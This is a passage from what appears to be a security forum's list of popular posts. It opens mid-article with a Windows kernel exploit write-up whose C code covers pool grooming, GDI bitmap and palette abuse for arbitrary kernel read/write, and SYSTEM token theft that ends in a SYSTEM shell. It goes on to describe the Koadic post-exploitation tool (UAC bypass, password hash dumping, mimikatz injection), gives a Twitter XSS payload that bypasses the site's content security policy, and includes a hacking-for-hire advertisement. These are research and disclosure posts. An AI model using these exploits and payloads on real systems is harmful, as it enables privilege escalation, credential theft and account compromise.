pattern based brush, the value was controlled. HBITMAP bitmap = CreateBitmap(0x5a1f, 0x5a1f, 1, 1, NULL); HBRUSH hbrBkgnd = CreatePatternBrush(bitmap); PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY); The value at EDI at the time, would be the bitmap.width member of the bitmap used with the pattern brush, a step-by-step of the calculations performed is as follows. x = Bitmap.width * 20 (ecx = 20 and its based of the HDC->bitmap.bitsperpixel) x = x / 2^3 y = x * bitmap.height result = y + 0x44 Then value of result is added to 0x40 and passed as the size parameter to the allocation function. Since the values of bitmap.width and bitmap.height can be controlled, it’s just a matter of finding the right combination, which would result in an overflow. The value we are aiming to get after the overflow is 0x10 (explained later). For an overflown integer to be of that value the results of the calculations in reality must be equal to 0x100000010. 0x100000010 – 0x44 – 0x40 = 0xFFFFFF8C A factor of an integer is used to find which two numbers, when multiplied together will result in that integer. One of the factors of 0xFFFFFF8C are 0x8c (140) and 0x30678337 (0x1d41d41) The value of the bitmap.width after the calculation should be 0x8c, (0x8c * 0x8)/0x20 = 0x23 Using the following bitmap as the pattern brush source, we would overflow the value when its added to 0x40 and 0x44 to result in 0x10 allocation. HBITMAP bitmap = CreateBitmap(0x23, 0x1d41d41, 1, 1, NULL); After the allocation, the function would try to write to certain offsets of the allocated object, as shown below. If the allocation is below 0x30 bytes in size the write to [esi+0x3C] would result in an out-of-bounds OOB write to that location. Stars Alignment Remember the 0x10 value? The reason for choosing that specific value is for stars aligning, the object of choice to be overflown would be a bitmap object, to overwrite its height member, and gain a relative memory read/write primitive. The 32-bit _SURFOBJ has the height member at offset 0x14: Allocated object size (0x10) + Bitmap _POOL_HEADER size(0x8) + _BASE_OBJECT size (0x10) + _SURFOBJ->height (0x14) = OOB write offset (0x3C) Precisely overwriting the height member of the adjacent bitmap object. To be completely honest, I did not just calculate the offsets and was done. It took a great amount of time, pain and trial and error to get this value so I was basically guessing when the stars aligned for me. Then it was time to check if this was actually happening in a debugger. By the end of the first section of the calculations, it can be seen that the value that would be passed to the calculation block is 0xFFFFFFD0 at EBX. Moving to the allocation section, in the beginning the value 0xFFFFFFD0 is added to 0x40 resulting in 0x10 in EAX. Since at the end of the function, the allocated object is freed, the object needs to be allocated at the end of the memory page. The difference this time is that it should be directly followed by the bitmap object, so that we can overflow the Bitmap object height and extend its size to gain relative memory read/write. At this point we have three choices, that we can go with: The extended Bitmap object can be used as a Manager, to overwrite the pvScan0 member of an adjacent Bitmap object, and use the second one as Worker. The extended Bitmap object can be used as a Manager, to overwrite an adjacent Palette object (XEPALOBJ) *pFirstColor member, and use the Palette as a Worker. Demo the full new Palette object technique, using the extended Bitmap object to overwrite the cEntries member of an adjacent Palette object, gaining relative memory read/write then use the modified Palette object as Manager, to control the *pFirstColor member of a second Palette and use the Second Palette as Worker. I decided to go with the last option, to take it as a chance to demo the new technique. To achieve this it is necessary to to perform the kernel Pool Feng-shui as explained below. Kernel Pool Feng-shui The first allocations will be of a bitmap of allocation size 0xFE8, since we know the vulnerable object will have the size of 0x10+0x8 (POOL_HEADER), so we create 2000 allocations. 0x1000 – 0x18 = 0xFE8 for (int y = 0; y < 2000; y++) { //0x3A3 = 0xFe8 bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL); bitmaps[y] = bmp; } The Next step is to allocate 2000 Objects of size 0x18, the best object that I found was the Window Class lpszMenuName. Although this is a User object it is one of the User objects that gets allocated to the Pages Session Pool, and I think it can be used to leak the address of GDI objects from User objects, but this is beyond the scope of this paper. //Spray LpszMenuName User object in GDI pool. Ustx // size 0x10+8 TCHAR st[0x32]; for (int s = 0; s < 2000; s++) { WNDCLASSEX Class2 = { 0 }; wsprintf(st, "Class%d", s); Class2.lpfnWndProc = DefWindowProc; Class2.lpszClassName = st; Class2.lpszMenuName = "Saif"; Class2.cbSize = sizeof(WNDCLASSEX); if (!RegisterClassEx(&Class2)) { printf("bad %d %d\r\n", s, GetLastError()); break; } } The next step will be to delete(de-allocate) all the large size Bitmap object Gh05 allocated to the beginning of the page. for (int s = 0; s < 2000; s++) { DeleteObject(bitmaps[s]); } And allocate smaller Bitmap objects Gh05 of size 0x7F8 that will be allocated to the beginning of the Pool Page, hopefully directly after the memory holes, where the vulnerable object will be placed. for (int k = 0; k < 2000; k++) { //0x1A6 = 0x7f0+8 bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL); bitmaps[k] = bmp; } Next 2000 Palette objects Gh08 that will be abused, will be allocated with size 0x7E8 to the remaining free memory in kernel memory pages. HPALETTE hps; LOGPALETTE *lPalette; //0x1E3 = 0x7e8+8 lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY)); lPalette->palNumEntries = 0x1E3; lPalette->palVersion = 0x0300; // for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18 for (int k = 0; k < 2000; k++) { hps = CreatePalette(lPalette); if (!hps) { printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k); } hp[k] = hps; } Then freeing some of the allocated Window Class lpszMenuName, to create memory holes the same size as the vulnerable object allocation, at the end of the Pool page. TCHAR fst[0x32]; for (int f = 500; f < 750; f++) { wsprintf(fst, "Class%d", f); UnregisterClass(fst, NULL); } If everything went according to plan the memory layout after the vulnerable object is allocated will be as follows. Relative read/write Bitmap GDI Object extension Now that the vulnerable object is placed at the end of the page and directly before a Bitmap object, the out-of-bounds write (mov [esi+3c], ecx), should write the DWORD 0x00000006 which represents the brush’s bitmap type (BMF_32BPP) controlled by the biBitCount, to the offset 0x3C of the vulnerable object, which will fall nicely with the Bitmap Object sizlBitmap height member. As shown above, the adjacent Bitmap object sizlBitmap.Height changed, from 0x1 to 0x6 successfully expanding the Bitmap size, so any subsequent operations on the affected Bitmap object, will result in OOB memory read/write. The way to find out which Bitmap is extended, will be by iterating over the allocated bitmaps, and find which one can read data using GetBitmapBits, past its original size. for (int i = 0; i < 2000; i++) { res = GetBitmapBits(bitmaps[i], 0x6F8, bits); if (res > 0x6F8 - 1) { hManager = bitmaps[i]; printf("[*] Manager Bitmap: %d\r\n", i); break; } } Abusing Palette GDI Objects Once the Bitmap object is found, this Bitmap will be used to set the cEntries member of the adjacent Palette(XEPALOBJ) object to 0xFFFFFFFF, which is located at offset 0x6B8 of the bitmap bits. //BYTE *bytes = (BYTE*)&cEntries; for (int y = 0; y < 4; y++) { bits[0x6F8 - 8 - 0x38 + y] = 0xFF; } SetBitmapBits((HBITMAP)hManager, 0x6F8, bits); The adjacent Palette object XEPALOBJ.cEntries before being set by the Bitmap Object. The updated XEPALOBJ.cEntries. By this point a loop will be performed to find which Palette Object was extended by using the GetPaletteEntries function, and monitoring if the result entries count is larger than the original 0x1E3. UINT *rPalette; rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY)); memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY)); for (int k = 0; k < 2000; k++) { UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette); if (res > 0x3BB) { printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]); hpManager = hp[k]; break; } } Once the extended Palette Object is found we will save its handle to use it as the Manager, and set the next Palette Object *pFirstColor, which is at offset 0x3FE from Manager Palette object, to the address of a fixed Bitmap Object Pool Header. UINT wAddress = rPalette[0x3FE]; printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress); UINT tHeader = pFirstColor - 0x1000; tHeader = tHeader & 0xFFFFF000; printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader); SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader); As seen above, the Worker *pFirstColor member was successfully set to the fixed Bitmap object Pool header, which means that arbitrary memory read/write was achieved. The next step is to identify the Worker Palette object handle, we know that the fixed Bitmap object least significant byte of the POOL_HEADER will be 0x35 = 5d, since Gh15 translates to 0x35316847, to identify the Worker Palette Object, a loop will iterate over the allocated Palettes calling GetPaletteEntries, until a Palette is found that has first entry’s least significant byte = 0x35, and save its handle which is going to be our Worker Palette object. UINT wBuffer[2]; for (int x = 0; x < 2000; x++) { GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer); if (wBuffer[1] >> 24 == 0x35) { hpWorker = hp[x]; printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker); printf("[*] wBuffer: %x\r\n", wBuffer[1]); break; } } The arbitrary memory read/write will be used to fix the clobbered Bitmap object header. VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 }; void SetAddress(UINT* address) { SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address); } void WriteToAddress(UINT* data, DWORD len) { SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data); } UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) { SetAddress((UINT *)&src); DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst); return res; } Steal Token 32-bit With arbitrary kernel memory read/write and all headers fixed, we can now get the kernel pointer to a SYSTEM process _EPROCESS structure, and copy and replace the SecurityToken of the current process as explained in a previous post. // get System EPROCESS UINT SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); UINT CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); UINT SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1); fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken); // write token to current process UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress(&CurProccessAddr); SYSTEM!! Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell. system("cmd.exe"); More Details: Defcon 25: 5A1F – Demystifying Windows Kernel Exploitation by Abusing GDI objects White-paper, slides, MS16-098 & MS17-017 exploit: https://github.com/sensepost/gdi-palettes-exp References: [1] ReactOS x86 Palette object: https://www.reactos.org/wiki/Techwiki:Win32k/PALETTE [2] GDIOBjDump: https://github.com/CoreSecurity/GDIObjDump [3] 360Vulcan team Win32k Dark Composition: https://www.slideshare.net/CanSecWest/csw2017-peng-qiushefangzhong-win32k-darkcompositionfinnalfinnalrmmark
    1 point
  14. Koadic Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10. It is possible to serve payloads completely in memory from stage 0 to beyond, as well as use cryptographically secure communications over SSL and TLS (depending on what the victim OS has enabled). Koadic also attempts to be compatible with both Python 2 and Python 3. Demo Hooks a zombie Elevates integrity (UAC Bypass) Dumps SAM/SECURITY hive for passwords Scans local network for open SMB Pivots to another machine Stagers Stagers hook target zombies and allow you to use implants. Module Description stager/js/mshta serves payloads in memory using MSHTA.exe HTML Applications stager/js/regsvr serves payloads in memory using regsvr32.exe COM+ scriptlets stager/js/rundll32_js serves payloads in memory using rundll32.exe stager/js/disk serves payloads using files on disk Implants Implants start jobs on zombies. Module Description implant/elevate/bypassuac_eventvwr Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10. implant/elevate/bypassuac_sdclt Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10. implant/fun/zombie Maxes volume and opens The Cranberries YouTube in a hidden window. implant/fun/voice Plays a message over text-to-speech. implant/gather/clipboard Retrieves the current content of the user clipboard. implant/gather/hashdump_sam Retrieves hashed passwords from the SAM hive. implant/gather/hashdump_dc Domain controller hashes from the NTDS.dit file. implant/inject/mimikatz_dynwrapx Injects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X). implant/inject/mimikatz_dotnet2js Injects a reflective-loaded DLL to run powerkatz.dll (@tirannido DotNetToJS). implant/inject/shellcode_excel Runs arbitrary shellcode payload (if Excel is installed). implant/manage/enable_rdesktop Enables remote desktop on the target. implant/manage/exec_cmd Run an arbitrary command on the target, and optionally receive the output. implant/pivot/stage_wmi Hook a zombie on another machine using WMI. implant/pivot/exec_psexec Run a command on another machine using psexec from sysinternals. implant/scan/tcp Uses HTTP to scan open TCP ports on the target zombie LAN. implant/utils/download_file Downloads a file from the target zombie. implant/utils/upload_file Uploads a file from the listening server to the target zombies. Disclaimer Code samples are provided for educational purposes. Adequate defenses can only be built by researching attack techniques available to malicious actors. Using this code against target systems without prior permission is illegal in most jurisdictions. The authors are not liable for any damages from misuse of this information or code. Acknowledgements Special thanks to research done by the following individuals: @subTee @enigma0x3 @tiraniddo @harmj0y @gentilkiwi @mattifestation clymb3r @Aleph___Naught @The_Naterz @JennaMagius @zerosum0x0 Sursa: https://github.com/zerosum0x0/koadic
    1 point
  15. PDF-urile pentru prezentarile de la Blackhat 2017: https://media.defcon.org/DEF CON 25/DEF CON 25 presentations/
    1 point
  16. Aveti aici si articolul aferent exploitului, cu detalii pentru cei interesati: http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
    1 point
  17. @michael776 @BestAlexandru @Tuckle https://www.sendspace.com/file/pmfcfr
    1 point
  18. tbmnull Jul 6 Making an XSS triggered by CSP bypass on Twitter. Hi there, I’m a security researcher & bug hunter, but still learning. I want to share how hard it was to find an XSS (Cross Site Scripting) on such a huge organization and well secured Twitter.com and how I could achieve it with combining another security vulnerability CSP (Content Security Policy) bypass. Here is the story: After digging a lot on Twitter’s subdomains, I came across to https://careers.twitter.com/. As you can guess, it is Twitter’s career site, you can search for jobs as an opportunity to work with them, but I search for bugs. Sometime later, I thought I’ve found a reflection for an XSS on the URL: https://careers.twitter.com/en/jobs-search.html?location=1" onmouseover=”alert(1)&q=1&start=70&team= with the location parameter. But wait, there was no alert! I couldn’t be able to trigger it! Because they’ve implemented CSP as: content-security-policy: default-src ‘self’ ; connect-src ‘self’ ; font-src ‘self’ https://*.twimg.com https://*.twitter.com data:; frame-src ‘self’ https://twitter.com https://*.twitter.com [REDACTED] https://*.twitter.com; report-uri https://twitter.com/i/csp_report and It blocked the javascript alert box to be come to scene. So, I was unsuccessful on getting this work, unfortunately. Then I applied to my master @brutelogic as always and asked him that I’ve found some XSS (didn’t share the details nor domain) but I could not be able to get it work because of the CSP. He adviced me to find a way to bypass it! I already remember his saying: “For god’s sake, stop talking and go find a way to bypass the CSP!”. Thanks bro :) I tried a lot to find the way, and gave up that time. After trying a lot and looking for something on other domains, I figured out an URL that’s going under the radar within GET requests hiddenly. URL was: https://analytics.twitter.com/tpm?tpm_cb= The response Content-type was application/javascript and what I write as the parameter tpm_cb, it was reflecting on the page! I was lucky this time, and I tried to combine both my findings to make the XSS work. So, I created: https://careers.twitter.com/en/jobs-search.html?location=1"> src=//analytics.twitter.com/tpm?tpm_cb=alert(document.domain)>// willing “><script src= on the XSS reflection will work. And voila! It worked! Happy End! I screamed out in my office and all my colleagues were afraid. Sorry guys :) I immediately reported these to Twitter via their bug bounty program on Hackerone, they triaged and rewarded me very quickly. Also they fixed the XSS on career site but CSP bypass took a long time to fix. But in the end both sides were satisfied. Thanks to Twitter Security Team and an awesome community hackerone! Hope this helps newbies like me to develop themselves. And If you want to share your thoughts, just ping me on Twitter: @tbmnull Thanks for reading. Sursa: https://medium.com/@tbmnull/making-an-xss-triggered-by-csp-bypass-on-twitter-561f107be3e5
    1 point
  19. Ce indrugi man? Eu la 20 de ani am ajuns sa fiu programator junior, pe front end mai mult, este drept. Tine de tine ce vrei, daca vrei sa freci menta toata ziua, asta faci, daca te gandesti la $ din prima, ramai rezerva. Tu decizi, alegerea e a ta. Si nu, n-am facultate si inca sunt in dilema cu ea, si as face-o si nu.
    1 point
  20. We are a group comprised of certified intelligent hackers, crackers and developers. we guarntee succcess in the job done as fast as possible and we provide of the job done ...we have an office and a return policy..all information will be giving to u ...Contact us // Cocalari
    -1 points
×
×
  • Create New...